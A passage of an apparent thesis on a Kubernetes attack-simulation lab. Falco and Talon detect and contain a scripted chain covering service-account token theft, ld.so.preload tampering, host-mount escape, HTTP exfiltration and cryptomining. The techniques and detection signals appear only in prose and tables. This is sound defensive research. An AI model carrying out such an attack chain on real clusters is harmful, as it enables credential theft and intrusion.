Συγκεκριμένες προτάσεις αφορούν επίσης την αξιοποίηση LLMs «μέσα στον

βρόχο»: (i) ταχεία διαλογή και σύνοψη, ώστε εκρήξεις γεγονότων Falco και εν-
εργειών Talon να συντίθενται σε σύντομα, παραπομπήσιμα incident narratives
που χαρτογραφούνται σε ATT&CK τακτικές και πόρους του cluster, (ii) σύν-
θεση κανόνων από πρόθεση («rules from intent»), όπου φυσική γλώσσα όπως
«μπλόκαρε εξαγωγή από ns=prod εκτός από S3 endpoint X» μετατρέπεται σε
υποψήφιους Falco/Talon κανόνες και NetworkPolicies που κατόπιν επικυρώνον-
ται από στατικούς ελεγκτές/τεστ πολιτικών, και (iii) υποστήριξη απόφασης με
εξήγηση trade–offs όταν πολλά ισοδύναμα μέτρα είναι διαθέσιμα, με τον εκτε-
λεστή να παραμένει επαληθεύσιμος και τυποποιημένος (admission controllers,
OPA/Rego). Καθοδηγητική αρχή: «LLM στο βρόχο, πολιτική στο άκρο».
Πέρα από τους χειρόγραφους χαρτογραφισμούς κανόνων→ενεργειών, οι πολι-

τικές απόκρισης μπορούν να «μαθηθούν» από καταγεγραμμένα επεισόδια, μέσα σε
αυστηρό, ασφαλές χώρο πολιτικής (label/isolate/capture/terminate με δεσμευμένες
διάρκειες/πεδία). Το μονοπάτι περιλαμβάνει ορισμό features (κανόνας, names-
pace, πρόσφατα error rates, labels υπηρεσιών), μάθηση χαρτογραφήσεων με εποπ-
τευόμενες ή contextual μεθόδους, και ανάπτυξη σε σκιά (shadow) με conformance
tests που επαναπαίζουν ιστορικές επιθέσεις πριν από οποιαδήποτε ενεργοποίηση.
΄Ετσι αποφεύγονται regressions και εξασφαλίζεται ότι οι «μαθημένες» πολιτικές
δεν ξεφεύγουν από τον φάκελο ασφάλειας.
΄Ενας ακόμη άξονας βελτίωσης είναι τα ελαφρύτερα forensics: προσαρμοστικά,

συμβαντο-οδηγούμενα και «κουμπωμένα» σε προϋπολογισμό captures, καθώς και
kernel–level digests (ροές, δέντρα διεργασιών) ως εναλλακτικές στο πλήρες packet
capture. Σημαντικό είναι να μετρηθεί πόσο γρήγορα ξεκινά η σύλληψη σε σχέση
με το πρώτο egress πακέτο και αν πιο πρώιμα hooks (π.χ. TC/BPF στο veth
του pod) μειώνουν την απώλεια αποδείξεων χωρίς να αυξάνουν το λειτουργικό
κόστος.
Ακόμα μέσω αυτής της διπλωματικής προτείνουμε ένα πρακτικό benchmark που

μπορεί να εφαρμοστεί σε οποιοδήποτε cluster χωρίς εξάρτηση από συγκεκριμένο
vendor: δημιουργία «καραντίνας» namespace, ανάπτυξη των παρεχόμενων payload-
server και attack-sim, εκτέλεση του scripted run.sh, συλλογή των alerts του
ανιχνευτή και των action logs του responder, και υπολογισμόςMTTR/ουρών με τα
συνοδευτικά scripts. Ακόμη και αν δεν χρησιμοποιηθεί Falco/Talon, αρκεί η αντι-
στοίχιση «χρόνου alert» και «χρόνου action» στα αντίστοιχα πεδία logs του εκάσ-
τοτε συστήματος. Τα υπόλοιπα βήματα παραμένουν ίδια. Παράλληλα προτείνονται
συστηματικά πειράματα με σαφώς ορισμένα artifacts/μετρικές: σύζευξη προληπ-
τικών και αντιδραστικών μέτρων (risk leases, pre-positioned policies) και μέτρηση
interdiction/latency/MTTR υπολοίπου, μελέτες κλίμακας/φόρτου σε διαφορετικά
CNIs/kernels/charts με per-component timing (Falco→Sidekick→Talon, API
apply, σύγκλιση NetworkPolicy), αξιολόγηση LLM triage/rule-synthesis/decision-
support με κριτήρια χρόνου και ποιότητας, μάθηση πολιτικών απόκρισης σε σκιά
με safety checks, και, τέλος, πακέτα αναπαραγωγιμότητας με κοινόχρηστα pay-
loads/rulebooks, χρονοσημασμένα logs με annotations σταδίων και ενιαία scripts.
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1 Introduction
The last decade has witnessed a paradigm shift in software architecture and
deployment, moving away from monolithic applications toward distributed, cloud-
native systems. This transformation has been largely driven by containerization
technologies, with Docker widely used for packaging applications. Containers
encapsulate an application’s code, dependencies, and runtime into a lightweight,
portable unit, offering efficiency and consistency across environments. As enter-
prises adopted microservice architectures, the challenge shifted from creating
containers to managing them at scale. In this landscape, Kubernetes has become
the de facto container orchestration platform, providing a robust framework for
deploying, scaling, and operating complex containerized workloads.

Although Kubernetes offers powerful capabilities, its complexity introduces a
broader attack surface. The security of a Kubernetes cluster is not a monolithic
property but the result of the underlying infrastructure, cluster configuration,
and the runtime behavior of hosted workloads. Misconfigurations, such as overly
permissive Role-Based Access Control (RBAC) policies or running containers
with privileged access, can provide an initial foothold to an attacker. From there,
adversaries can attempt container escape techniques to reach the underlying
host, move laterally across the cluster, and pursue objectives that include data
exfiltration or resource hijacking. Securing these dynamic environments requires
a defense-in-depth strategy that includes runtime detection and automated,
well-scoped response.

Cloud Security Posture Management (CSPM) tools address the static aspect
of this challenge by scanning for misconfigurations and known vulnerabilities.
To counter active threats, runtime security is essential. Modern approaches,
often powered by eBPF (extended Berkeley Packet Filter), provide kernel-level
visibility into system calls, network activity, and file operations. Tools like
Falco detect anomalous behavior in real time by matching system events against
behavioral rules. Detection alone is not sufficient; a complete security lifecycle
requires automated response. Response engines such as Falco Talon can translate
alerts into immediate containment actions, for example isolating a compromised
pod with a temporary NetworkPolicy, adding labels for tracking and downstream
policies, capturing a short packet trace for basic forensics, and, where necessary,
terminating the pod.

The goal of this thesis is to design, execute, and analyze a realistic multistage
attack simulation in Kubernetes in order to validate a modern detection-and-
response pipeline. To this end, a purpose-built lab was constructed using
Minikube, consisting of three core components: a vulnerable Jupyter Notebook
pod that serves as the initial access vector; a minimal in-cluster payload server
that acts as Command and Control (C2); and a dedicated attack-simulation pod
that functions as a dropper to execute the main attack sequence.

The simulation follows an attack chain mapped to the MITRE ATT&CK
framework. The scenario begins with an unsecured Jupyter Notebook that
provides a foothold. From there, the attack-simulation pod is deployed and
triggers a sequence that includes defense evasion techniques such as dynamic
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linker manipulation and shell history clearing; persistence through a cron job;
credential access by reading the Kubernetes service-account token; container-
escape attempts directed toward host mounts; C2 communication and HTTP
data exfiltration; and a short, time-boxed cryptomining phase that models
resource hijacking. These choices produce clear and repeatable runtime signals
that can be detected reliably and linked to specific response actions.

To validate detection, a Falco instance is deployed with a tailored set of
custom rules that target each technique in the chain. Examples include service-
account token reads, Python-based HTTP exfiltration, chroot toward a host
mount, modification of /etc/ld.so.preload, and miner process execution. To
validate response, Falco Talon is configured with automated remediation rules
that apply conservative, Kubernetes-native actions: pod labeling, temporary
egress isolation via NetworkPolicy, short packet captures, and pod termination
only as a last resort. The thesis then analyzes results, evaluating rule effectiveness
and the readiness of automated actions to contain a realistic, multistage attack
in a cloud-native setting.

1.1 Topic of the Thesis and Contribution
This thesis studies runtime detection and automated mitigation in Kubernetes.
The central question is how fast and how safely a cluster can move from a concrete
runtime signal to a concrete containment action under realistic adversary behavior.
To answer it, we build an end-to-end pipeline that couples Falco’s eBPF-based
detections with Kubernetes-native responses executed by Falco Talon, and we
quantify its effectiveness using Mean Time To Remediate (MTTR), measured
from alert emission to action execution.

The work contributes a fully reproducible single-node Minikube lab that
exercises a multistage attack chain mapped to MITRE ATT&CK. The chain uses
a deliberately misconfigured Jupyter Notebook for initial access, an in-cluster
payload server that acts as C2, and a privileged attack-simulation pod that
drives credential access, defense evasion, container-escape attempts, HTTP data
exfiltration, and a cryptominer. On the detection side, we provide a precise Falco
ruleset targeted at these TTPs (Tactics, Techniques, and Procedures), including
service-account token reads, Python-based HTTP exfiltration, chroot toward
host mounts, modification of /etc/ld.so.preload, and miner execution. On the
response side, we provide a Talon rulebook that applies scoped mitigations: pod
labeling, temporary egress isolation via NetworkPolicy, short packet captures
for basic forensics, and pod termination as a last resort. Broader actions such
as node tainting are discussed as possible extensions but are not part of the
evaluated rulebook.

Beyond the artifacts, the thesis contributes a measurement harness and
analysis scripts that compute per-rule and overall MTTR distributions across
repeated runs, together with operational guidance on rule design, response
scoping, and noise control. The results show that the pipeline closes the loop in
the order of tens of seconds, typically around 10 to 15 seconds per rule for the
median and high percentiles. This is sufficient to limit scripted exfiltration and

17



interactive C2 while keeping workloads available for investigation. The study
documents limitations and threats to validity and distills practical lessons for
teams that plan to adopt similar pipelines in production-like environments.

1.2 Structure of the Thesis
The remainder of this thesis is organized into four chapters.

Chapter 2, Related Work and Background, surveys the Kubernetes threat
landscape and core hardening guidance, reviews runtime detection/enforcement
engines (e.g., Falco, Tetragon, Tracee, KubeArmor), and summarizes proactive
response models such as WARP, ACE-WARP, and ProSPEC. It also provides a
concise Kubernetes overview and a layered posture map that we use throughout
the study.

Chapter 3, Framework, details the experimental lab. It states the design
goals, presents the single-node Minikube topology under test, and explains the
evaluation plan. It then breaks down the three custom components: (i) the
deliberately misconfigured Jupyter pod used for initial access, (ii) the in-cluster
payload-server acting as C2, and (iii) the attack-sim “dropper” and describes
the detection and response implementation (Helm deployment, Falco rules, and
Talon playbooks) used to close the loop from alert to action.

Chapter 4, Experimental Results and Analysis, executes the scripted intrusion,
validates detection coverage, and evaluates automated remediation. It defines
the key metric "Mean Time To Remediate (MTTR)" and explains data collection
and visualization (histograms, ECDFs, per-rule boxplots and summaries) used
to characterize end-to-end response times and consistency across rules.

Chapter 5, Future Work and Conclusions, synthesizes findings, states limita-
tions (e.g., single-node scope and conservative response defaults), and outlines
future extensions, including scaling to multi-node clusters, integrating data-plane
policies and richer forensics, and exploring proactive mitigation while keeping
the same MTTR instrumentation for comparison.
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2 Related Work and Background
2.1 Threat Landscape and Taxonomies
Kubernetes (K8s) threat modeling commonly references two community artifacts.
The Microsoft Threat Matrix for Kubernetes maps MITRE ATT&CK tactics to
K8s–specific techniques and serves as a baseline for red/blue team playbooks and
detection coverage planning [25]. The OWASP Kubernetes Top Ten complements
it by cataloging high–impact misconfiguration classes and hardening guidance
[27]. Table 1 distills a subset of the Threat Matrix into concrete, K8s-centric
techniques with example detection signals and mitigations.

Table 1: Kubernetes Threat Matrix (subset): tactics, K8s-specific techniques,
example detection signals, and mitigations. Adapted from [25] and hardening
aligns with [27].

Tactic Technique (K8s) Example detection signal
(runtime / control plane)

Example mitigation /
control

Initial Access Exposed dashboard /
svc

API server or dashboard hits
from untrusted IPs; auth
bypass attempts

Private ingress; strong au-
thn/authz on UIs; restrict
LoadBalancer/NodePort;
WAF

Execution Remote command in
pod (kubectl exec)

Audit events for kubectl
exec; shell / unknown bina-
ries start inside containers

Disable/limit kubectl exec;
admission policy; strict
allowlists

Persistence Malicious CronJob /
controller

Create/patch CronJob or
Deployment in unusual
namespaces; recurring pod
spawns

GitOps + least-priv RBAC;
admission controls; image
signing / verification

Privilege Esca-
lation

Privileged pod /
hostPath mount

Pod with securityCon-
text.privileged=true or host-
Path=/; chroot usage

Pod Security Standards
/ OPA; block privileged /
host mounts; SELinux/Ap-
pArmor

Defense Eva-
sion

Log tampering / kill
agents

Container writes to /var/log;
kills security pods; chattr -i

Read-only root FS; protect
DaemonSets; enforce file
immutability

Credential
Access

ServiceAccount token
abuse

Reads of
/var/run/secrets/.../token;
unusual API calls from pods

Scoped SAs; disable auto-
mount; BoundService-
AccountTokenVolume

Discovery K8s API enumera-
tion

High-rate list/get across
resources / namespaces;
probing kubesystem

Least-priv RBAC; audit
rate limits; NetworkPolicy
to the API server

Lateral Move-
ment

Pod-to-pod pivoting Burst of new TCP connects
across namespaces; suspi-
cious service DNS lookups

Namespace / app-level
NetworkPolicies; mTLS /
zero-trust service mesh

Collection Mount host or se-
crets

Access to hostPath or secret
volumes by unexpected pods

Restrict volume types;
secret CSI drivers; encryp-
tion at rest / in transit

Exfiltration Egress to C2 / data
sink

Outbound to rare IPs/ports
(e.g., 4444); large sendto()
from pods

Egress policies;
DNS/HTTP allowlists;
DLP; authenticated proxy

Impact Crypto-mining /
resource hijack

Miner process names / flags;
abnormal CPU/GPU; mining
pool traffic

Resource quotas/limits;
image allowlists; quaran-
tine/evict + isolate egress
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2.2 Runtime Detection and Enforcement
Modern Kubernetes runtime security is anchored in eBPF/BPF-LSM instrumen-
tation, which observes (and sometimes controls) processes, files, and network
activity with low overhead and rich context. We briefly review representative
tools:

Falco evaluates declarative rules over Linux syscall streams (captured via
eBPF), then enriches them with container and Kubernetes metadata. Its rule
DSL is expressive and widely adopted, and its ecosystem (Falcosidekick, Talon)
turns detections into orchestrated responses (labels, NetworkPolicies, evictions)
[11, 15]. Falco’s strengths are maturity, coverage, and portability across kernels;
by design, its core engine is detect first, with respond delegated to external
responders.

Tetragon fuses observability and enforcement: it programs eBPF filters to
watch process/file/network activity and can block operations inline (e.g., deny
exec of disallowed binaries, restrict file paths, gate network connects) based on
policies expressed as Kubernetes resources [8, 7]. Benefits include tight latency,
native K8s identity awareness, and unified tracing+policy; trade-offs are a heavier
dependency on specific kernel capabilities and closer coupling to Cilium’s data
plane.

Tracee emphasizes research-driven detections and forensics. It ships eBPF-
based event collection and a library of behavioral “signatures” (Golang/Rego),
covering patterns like fileless execution, kernel module tampering, and namespace
abuse [3, 4]. Tracee is excellent for blue-team hunting and evidence capture;
enforcement is not its goal, so teams pair it with policy engines if they need
blocking.

KubeArmor targets inline prevention using BPF-LSM and LSM hooks.
Policies (YAML) declare least-privilege constraints for processes, files, and
networking; the engine enforces them in-kernel (deny/allow) and can surface
telemetry for SIEM/SOAR [19, 18, 1]. Its big advantage is strong preventive
control with low runtime overhead; limitations include kernel feature prereq-
uisites and the care required to avoid breaking workloads when tightening policies.

Falco and Tracee lean toward detection with rich analytics and broad cover-
age, Tetragon and KubeArmor tilt toward enforcement, placing controls close
to the kernel for fast response. Falco’s DSL and ecosystem make it easy to
operationalize detections and attach playbooks, Tetragon’s policies consolidate
tracing and control, Tracee’s signatures help threat research and post-event
analysis, KubeArmor’s BPF-LSM enforces least privilege at runtime. Practically,
many teams layer them: (i) baseline prevention (KubeArmor/Tetragon), (ii)
behavioral detection (Falco/Tracee), and (iii) orchestrated mitigations (e.g.,
Talon) for kill-chain steps where blocking could be disruptive.
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Table 2: eBPF/BPF-LSM runtime engines for Kubernetes: kernel tap, policy
model, enforcement posture, and typical strengths.

Engine Kernel tap Policy / rules Enforcement Strengths / notes

Falco Syscalls via
eBPF

Falco rules (DSL)
with K8s/container
enrichment

Detect; respond
via Sidekick-
/Talon (web-
hooks, labels,
NetworkPolicy,
evict)

Mature and portable;
strong behavior detec-
tions; large community
ruleset; pairs well with
responders.

Tetragon eBPF (kprobes/
tracepoints)

Policies as K8s CRDs
(proc/file/net condi-
tions)

Inline allow/-
deny; unified
tracing plus
control

Low-latency blocking;
strong workload identity
context; closer coupling
to Cilium and kernel
features.

Tracee eBPF (trace-
points)

Signatures
(Golang/Rego);
research-driven in-
dicators

Detect / collect
(no block)

Great for hunting/foren-
sics; advanced behavioral
indicators; pair with a
policy engine to prevent.

KubeArmor BPF-LSM +
LSM hooks

Security policies
(YAML): proc/file/net
constraints

Inline allow/-
deny in kernel

Strong least-privilege
prevention; low overhead;
requires careful policy
tuning and kernel capa-
bilities.

2.3 Proactive Response Models for Kubernetes
A recurring theme in recent research is to move security action earlier in an
attack sequence while keeping applications running. Rather than waiting for
clear evidence of compromise and then terminating workloads, these systems
forecast likely attacker steps and apply targeted, minimally disruptive controls.

ProSPEC proposes a “shift-left” enforcement architecture in which expensive
policy reasoning is performed offline, ahead of time, using historical traces
of cluster activity [17, 16]. Concretely, ProSPEC learns which policy checks
are likely to be exercised (for example, whether a given container should be
allowed to access a particular resource) and precomputes verification results and
dependency relationships. At runtime, the system consults this precomputed
cache, so decisions reduce to near-constant-time lookups rather than on-the-spot
proofs. The trade-off is intentional: additional storage and precomputation are
exchanged for very low enforcement latency in production. This means that
operations such as starting a pod or mounting a volume can be admitted or
denied quickly because the “hard thinking” has already been done before the
request arrives.

WARP organizes runtime security signals—for instance, Falco alerts labeled
with MITRE ATT&CK tactics—into a probabilistic model of adversary progress
[5]. Offline, WARP learns a Bayesian network (a directed graph where edges
encode conditional probabilities) over tactics, capturing how one stage of an
intrusion increases the likelihood of the next. Online, it uses this model to
estimate the probability of upcoming attacker steps and computes a per-workload
risk score. When risk exceeds a threshold, WARP triggers non-disruptive
mitigations, such as live migration of a pod to a different node or scoped egress
restrictions, aiming to shrink blast radius without killing the workload. The
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key idea is that WARP does not simply react to an alert; it asks, “what is most
likely to happen next?” and takes the smallest effective action preemptively.

ACE-WARP extends WARP by adding an explicit multi-objective opti-
mization layer that balances security benefit against operational cost [6]. Given
predicted attacker steps and service objectives (Service Level Objectives, SLOs),
ACE-WARP formulates the choice of mitigations as an optimization problem:
reduce risk while keeping added delay and resource overhead within acceptable
limits. The planner then chooses cost-aware actions (e.g., which pods to migrate
and which network flows to restrict) using an efficient heuristic. Empirically, the
authors report substantial attack interdiction with controlled impact, and faster
decision making than generic solvers. Intuitively, ACE-WARP couples WARP’s
predictions with a planner that asks, “which combination of safe actions gives
the best trade-off between protection and service quality?”

Viewed together, these systems cast mitigation as prediction plus planning:
ProSPEC front-loads verification by learning from historical traces and precom-
puting policy outcomes so that runtime checks become fast, predictable lookups;
WARP learns, from labeled alerts and control-plane events, a Bayesian model of
attacker movement and then acts just in time with narrowly scoped controls;
ACE-WARP retains the predictive layer and adds multi-objective optimization so
that mitigations respect SLOs while maximizing expected risk reduction. Learn-
ing from telemetry enables anticipation rather than mere reaction, and explicit
cost models steer the planner away from heavy responses (such as blanket pod
termination) that erode availability. The resulting class of approaches combines
statistical prediction with cost-aware decision making to minimize both attacker
opportunity and operational disruption.
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Table 3: Proactive, non-disruptive response systems for Kubernetes: learning/op-
timization, signals, mitigation, and evaluation (papers only).

Work Learning / Op-
timization

Signals / Fea-
tures

Mitigation
Strategy

Evaluation
Highlights

ProSPEC [17, 16] Predictive model
learned from his-
torical events;
heavy verifica-
tion precomputed
offline; runtime
enforcement via
fast lookups.

K8s control-
plane events/logs
(policy-relevant
sequences); de-
pendency rela-
tions among con-
tainer resources.

Policy enforce-
ment with pre-
verified decisions
(no pod kill re-
quired); “shift-
left” verification
to cut online la-
tency.

Reported < 10 ms
enforcement for
800 pods; orders
of magnitude
faster than reac-
tive verification.

WARP [5] Bayesian
network
over MITRE
ATT&CK tactics
(offline); runtime
risk scoring and
thresholding.

Falco alerts with
ATT&CK tags;
context (user/-
command), asset
value; transition
probabilities be-
tween tactics.

Nondisruptive
actions: live
pod migration;
targeted egress
restrictions; act
before propaga-
tion.

Mitigates at-
tacks at lower
risk thresholds;
reduced blast
radius on K8s
testbed with real
APT scenarios.

ACE-WARP [6] Keeps WARP’s
prediction; adds
multi-objective
optimization
(threat reduction
vs. delay/over-
head); custom
per-tenant plans.

Falco + ATT&CK
features; pre-
dicted next-step
probabilities;
slice/tenant SLOs
and cost weights.

Nondisruptive
live migration
chosen via heuris-
tic optimizer;
network slicing
for tenant-aware
mitigation.

Up to 81%
attacks miti-
gated; optimizer
achieves ↑ 30%
threat reduction
and ↓ 7% delay,
∼37× faster than
a standard solver.
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2.4 Kubernetes Overview
Kubernetes (often abbreviated K8s) is an open-source system that runs and
manages containerized applications at scale [21]. At a high level, a Kubernetes
cluster is a group of machines working together: a small set of machines called
the control plane makes decisions and exposes an API, and a larger set of worker
nodes actually runs your applications [22, 20]. Figure 1 shows this separation.
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Figure 1: Kubernetes at a glance: control plane (left) and worker nodes (right).

Containerization packages an application with its runtime dependencies so
that it executes consistently across environments. While orchestrating a handful
of containers is straightforward, operating at scale introduces challenges in
scheduling, availability, upgrades, and recovery. Kubernetes addresses these
concerns through a declarative control model: users specify the desired state—for
example, “run three replicas of the web service”—and the system continuously
reconciles the actual cluster to match that specification [21].

A Kubernetes cluster is commonly described in terms of a control plane
and a data plane. The control plane provides the system’s coordination and
decision-making logic: it exposes the authoritative kube-apiserver, persists
cluster state in etcd, assigns work via the kube-scheduler, and runs a set of
controllers that manage routine activities such as maintaining replica counts and
responding to node failures [22, 20]. The worker nodes constitute the data plane.
Each node hosts a container runtime, a kubelet agent that realizes assignments
from the control plane, and networking components (e.g., kube-proxy or a CNI
datapath) to enable inter-pod communication [22].

Workloads execute in Pods, the smallest deployable unit. A Pod typically
encapsulates a single container but may also co-locate tightly coupled sidecars
that require shared Linux namespaces and storage. Pods are intentionally
ephemeral: on failure, they are replaced rather than repaired, shifting durability
concerns to higher-level abstractions and persistent storage [21].

Users express intent through API objects. For stateless services, a Deploy-
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ment requests that N Pods run from a given container image and that version
changes roll out safely, while a ReplicaSet enforces the precise Pod cardinality
behind the Deployment [23]. Additional controllers target specific patterns:
StatefulSet provides stable identities and persistent volumes for stateful sys-
tems; DaemonSet guarantees one Pod per node for node-scoped agents such as
logging and monitoring; and Job/CronJob support finite and scheduled batch
workloads [21, 22].

Networking follows a “flat” model in which each Pod receives an IP address
routable within the cluster. The Service abstraction offers a stable virtual
IP and DNS name that load-balances across healthy Pods (e.g., ClusterIP);
external exposure is supported via NodePort or cloud LoadBalancer. Layer-7
routing and TLS termination are commonly provided by Ingress controllers,
and more recently, the Gateway API, which map hostnames and paths to
backend Services [24]. To constrain east–west traffic, NetworkPolicies allow
teams to specify label and port based access controls.

Applications frequently depend on runtime configuration and credentials.
ConfigMaps and Secrets inject such data into Pods without requiring image
rebuilds. For persistence, PersistentVolumes (PV) and PersistentVol-
umeClaims (PVC) decouple storage provisioning from compute placement:
applications declare storage needs, and the platform binds suitable volumes,
often via dynamic provisioning and storage classes [20, 21].

A defining property of Kubernetes is continuous reconciliation. Controllers
perpetually compare observed cluster state to the declared state and issue incre-
mental actions until convergence. Consequently, node loss triggers rescheduling,
and configuration changes to a Deployment initiate progressive rollouts with
built-in rollback mechanisms. This feedback loop underpins fault tolerance and
enables safer, incremental change management by default [21, 22].

Finally, the platform is intentionally extensible without modifying core com-
ponents. Admission webhooks can validate or mutate API requests. Custom-
ResourceDefinitions (CRDs) introduce new resource types, and operators
encode domain-specific control logic using the same reconciliation paradigm [20].
These mechanisms let platform teams integrate capabilities, from certificate
management to advanced networking, in a manner that remains “native” to
Kubernetes.
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2.5 Layered Posture: Attack Surfaces, Misconfigurations,
and Mitigations

This view organizes Kubernetes security posture into five practical layers that
mirror the figure used below: Host / Nodes (infrastructure), K8s networking
(pod–to–pod and external), Cluster configuration (control plane, etcd, API server),
Workload configuration (manifests and registries), and Workload security (pods
& containers at runtime). For each layer we (i) state the purpose, (ii) list
prevention mechanisms, (iii) list common attacks, and (iv) highlight frequent
misconfigurations.

Layered view

(Host OS, Nodes)
Infrastructure

(Pod-to-Pod, External)
K8S networking

(Control Plane, etcd, API Server)
Cluster configuration

(Deployment YAMLs, etc.)
Workload configuration

(Pods & Containers)
Workload Security

Protecting the underlying nodes,
host OS, and container runtime.

Ensuring secure communication be-
tween workloads and external sys-
tems.

Protecting the Kubernetes cluster
and its core components.

Ensuring workloads are securely con-
figured.

Protecting applications and their
runtime environment.

Figure 2: Five-layer view used below. Each layer is summarized with prevention
mechanisms, attacks, and common misconfigurations.

Host / Nodes (Infrastructure): This layer concerns the node operating
system, the container runtime, and the auxiliary services that operate alongside
the kubelet. The objective is to maintain a trustworthy host so that containers
cannot influence or subvert it. In practice this means timely patching, kernel
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hardening, controlled access to host resources, and the use of runtime sandboxes
where appropriate.

K8s networking (Pod-to-Pod, External): Here we consider east–west
traffic within the cluster and north–south traffic to external networks. The goal
is to regulate which pods may communicate and to prevent unintended exposure
of internal services. Network segmentation, well-scoped NetworkPolicies, and
carefully managed ingress and egress form the basis of this control.

Cluster configuration (Control plane, etcd, API server): This layer
covers the configuration and protection of the API server, the key–value store,
and cluster-wide permissions. The aim is to minimize the administrative attack
surface and to safeguard secrets both in transit and at rest. Strong RBAC,
admission controls, encryption, and auditing are central to this posture.

Workload configuration (Manifests and registries): The focus here
is on deployment manifests and the container images sourced from registries.
Workloads should adhere to least-privilege principles and be built from trusted,
verifiable images. Policy-as-code, image signing and scanning, and explicit
resource and security settings help achieve consistent and secure configuration.

Workload security (Pods and Containers): This layer concerns the run-
time behavior of applications inside pods and containers. The intention is
to prevent tampering, limit risky file-system and process operations, and de-
tect anomalous activity early. Controls such as seccomp, AppArmor/SELinux,
read-only filesystems, and runtime sensors provide the necessary safeguards.
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Prevention mechanisms by layer

Table 5: Prevention mechanisms grouped by layer

Layer & purpose Prevention mechanisms

Host / Nodes (Infrastructure)
Protecting the underlying nodes, host operating
system, and container runtime. • Container runtime sandboxes (gVisor)

• Scanning for Host OS vulnerabilities

• Kernel hardening (e.g., seccomp profile on
Linux machines)

K8S networking (Pod-to-Pod, External)
Ensuring secure communication between work-
loads and external systems. • Cilium

• Network Policies

• mTLS

Cluster configuration (Control plane, etcd,
API server)
Protecting the Kubernetes cluster and its core
components. • RBAC

• etcd encryption

• Secure API server

Workload configuration (Deployment
YAMLs and other resources)
Ensuring workloads (deployments, pods, etc.)
are securely configured. • Policy enforcement OPA

• YAML validation (SAST)

Workload Security (Pods & Containers)
Protecting applications and their runtime envi-
ronment from threats. • Pod security policies

• Immutable containers

• Image scanning, SBOMs scanning

Rather than a checklist of controls, effective prevention is a program that balances
risk appetite, operability, and verifiability. Teams prioritize layers by impact
and exposure, assign clear ownership, and stage changes behind canaries to limit
blast radius. Coverage is tracked with threat-informed baselines and outcome
metrics such as drift rate, policy exception half-life, and time-to-remediate
misconfigurations. Regular exercises validate that controls remain usable under
pressure and that documentation and escalation paths work as intended.
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Example attacks by layer

Table 6: Common attacks grouped by layer

Layer Attacks

Host / Nodes (Infrastructure)
• Access Kubelet API

• Writable hostPath mounts

• Compromising the underlying node OS (e.g.,
vulnerable packages or open ports)

K8S networking (Pod-to-Pod, External)
• Network mapping (e.g., nmap to identify pods

and services)

• Lateral movement via overly permissive
NetworkPolicies

• Ingress misconfiguration: exposing services
without auth/TLS

Cluster configuration (Control plane, etcd,
API server) • Cluster-admin binding (RBAC)

• Access to Kubernetes API server (exposed /
unauthenticated)

• Over-privileged containers

Workload configuration (Deployment
YAMLs, etc.) • Compromised image in registry

• Kubernetes CronJob abuse

• Misconfigured secrets

Workload Security (Pods & Containers)
• Exec into container

• Bash/command inside container

• Backdoor container

Recent studies analyze attacks as chains of small, composable steps rather
than isolated events. Threat-informed baselines (e.g., the Kubernetes Threat
Matrix) guide adversary-emulation scenarios that exercise realistic paths across
layers, and evaluation focuses on coverage, correlation, and dwell-time reduction
rather than raw alert counts [25]. Impactful incidents typically arise from
the intersection of weaknesses (for example, permissive identities plus exposed
services), which motivates layered tests combining kernel-level and control-plane
telemetry for higher confidence and faster triage [27, 31]. In this thesis we follow
that approach and quantify end-to-end timelines—from first observable step to
containment.
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Common misconfigurations by layer

Table 7: Common misconfigurations

Layer Common misconfigurations

Host / Nodes (Infrastructure)
• Unpatched host operating systems

• Weak SSH configs or exposed SSH ports

• Missing kernel hardening (AppArmor/sec-
comp)

K8S networking (Pod-to-Pod, External)
• No NetworkPolicies (unrestricted pod com-

munication)

• Exposing sensitive services via Ingress/LB

Cluster configuration (Control plane, etcd,
API server) • Default admin privileges granted via RBAC

• Insufficient encryption for etcd/API commu-
nications

Workload configuration (Deployment
YAMLs, etc.) • No resource limits (DoS risk)

• Unsigned or unscanned container images

Workload Security (Pods & Containers)
• Running as root / excessive privileges

• Writable hostPath mounts enabling host
tampering

Misconfiguration remains the dominant risk, so teams push checks earlier and
make them continuous. Policy-as-code scanners (Kyverno policies, Trivy/Check-
ov/Polaris, KubeLinter) and CIS-benchmark automation gate pull requests and
images before they reach the cluster, while drift detection guards against live
changes that diverge from Git. Supply-chain controls (mandatory signature/at-
testation verification, reproducible builds, SBOM policy) reduce the chance of
tainted artifacts. For secrets and identity, external managers with short-lived
identities replace long-lived tokens. Finally, telemetry-driven feedback loops
promote “prevent-by-default”: findings from runtime sensors feed back into
admission and build policies to eliminate classes of misconfigurations over time.
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3 Framework Design
This section covers the laboratory topology and adversary flow, the scripted
attack behaviors, and the detection–to–response implementation.

Codebase availability:
All source code, Helm charts, Falco rules, Talon playbooks, commands, and
scripts required to reproduce the experiments are available at:

https://github.com/karamuz/k8s-attack-simulation-lab.

3.1 System Architecture
3.1.1 Motivation and Design Goals

This thesis examines how quickly and safely a Kubernetes cluster can move
from a concrete runtime signal to a concrete containment action when detection
and response are coupled through cloud-native primitives. Production incidents
frequently originate at the workload layer, misconfigurations and weak defaults
such as permissive RBAC or exposed services where traditional perimeter controls
provide little leverage. Even when detections are available, operators often lack
an automated, low-impact path from an alert to a mitigation that preserves
state for investigation. The laboratory therefore targets an end-to-end pipeline
that surfaces actionable runtime evidence enriched with Kubernetes context and
applies Kubernetes-native actions within seconds.

The environment is intentionally realistic to exercise multi-stage adversary be-
havior and deterministic enough to support repeatable timing measurements. All
components co-reside on a single Minikube node (Figure 3), which removes cross-
node variance and makes event ordering observable. Helm charts with pinned
versions and explicit values provide reproducibility and controlled iteration.

3.1.2 System Under Test and Topology

The system under test comprises a runtime detection plane, an alert transport,
and an automated response plane. Falco runs with the eBPF driver and evaluates
both upstream and custom rules tailored to the attack chain, including privileged
mounts of the host root filesystem, modification of /etc/ld.so.preload, explicit
reads of the service-account token path, Python-driven HTTP exfiltration,
and connections to suspicious C2 ports. Events are enriched with Kubernetes
metadata (pod, namespace) to scope findings precisely. Falco Sidekick forwards
alerts to the response plane over the supported HTTP/NATS paths configured
by the Helm charts, preserving rule names, labels, and namespaces for reliable
correlation. Falco Talon translates matched rules into Kubernetes-only actions:
temporary egress isolation via NetworkPolicy, labeling of implicated pods, short
tcpdump captures for basic forensics, and pod termination only as a last resort.
Rule updates are applied through the chart, keeping changes auditable in Git.

The adversary flow follows a typical cloud-native intrusion. A Jupyter pod,
intentionally misconfigured for low-friction access, serves as the initial foothold.
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From there, an attack-sim dropper pod fetches staged payloads and executes a
multi-stage sequence that covers persistence and evasion, attempted container
escape toward host mounts, discovery, C2 and data exfiltration over HTTP, and
